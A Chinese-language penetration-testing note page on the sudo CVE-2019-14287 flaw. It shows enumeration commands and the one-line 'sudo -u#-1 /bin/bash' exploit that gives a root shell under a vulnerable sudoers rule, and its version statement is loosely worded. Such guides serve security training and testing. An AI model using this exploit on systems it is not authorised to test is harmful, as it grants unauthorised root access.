> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/sudoers/sudo-version-vulnerabilities-linux-privilege-escalation/sudo-version-1.8.27-cve-2019-14287.md).

# sudo 1.8.27 CVE-2019-14287

## 这是什么

Sudoers 权限提升始于用户可以通过以下方式运行的命令 `sudo`. 错误配置的二进制文件、不安全的脚本参数、符号链接处理以及存在漏洞的 sudo 版本，都可能把受限的 sudo 权限变成 root shell。此特定页面重点介绍 **sudo 1.8.27 \[CVE-2019-14287]** 并保持利用流程切合实际：识别条件，安全验证，然后运行证明影响所需的最小载荷。

## 枚举

在运行利用路径之前，先确认本地上下文和具体的错误配置。

```bash
sudo -l
sudo --version
```

## 示例

### 滥用 sudo 权限（CVE-2019-14287）：

在检查 sudo 权限时，我们发现 sudoers 文件中存在一个有漏洞的配置。使用 `sudo -l` 命令，我们识别出一个可连接到除 `root`，通过 `/bin/bash` 命令：

<figure><img src="/files/477039544fa7ee30e16bcf5f774525cf882fc3e2" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.exploit-db.com/exploits/47502>" %}

此漏洞影响所有早于 1.8.27 的 sudo 版本。

在我们的例子中，sudo 版本低于 1.8.27，因此该漏洞可被利用。

<figure><img src="/files/139a8a3c9da00ded72247420db8716fd0ff44445" alt="" width="510"><figcaption></figcaption></figure>

要利用此漏洞，只需执行以下命令：

```bash
sudo -u#-1 /bin/bash
```

此命令允许你以该用户身份运行一个 shell `-1`，这对应于用户 `root`.

<figure><img src="/files/8b6eab8f02ec163b3b02820d9982489edfa74696" alt="" width="563"><figcaption></figcaption></figure>


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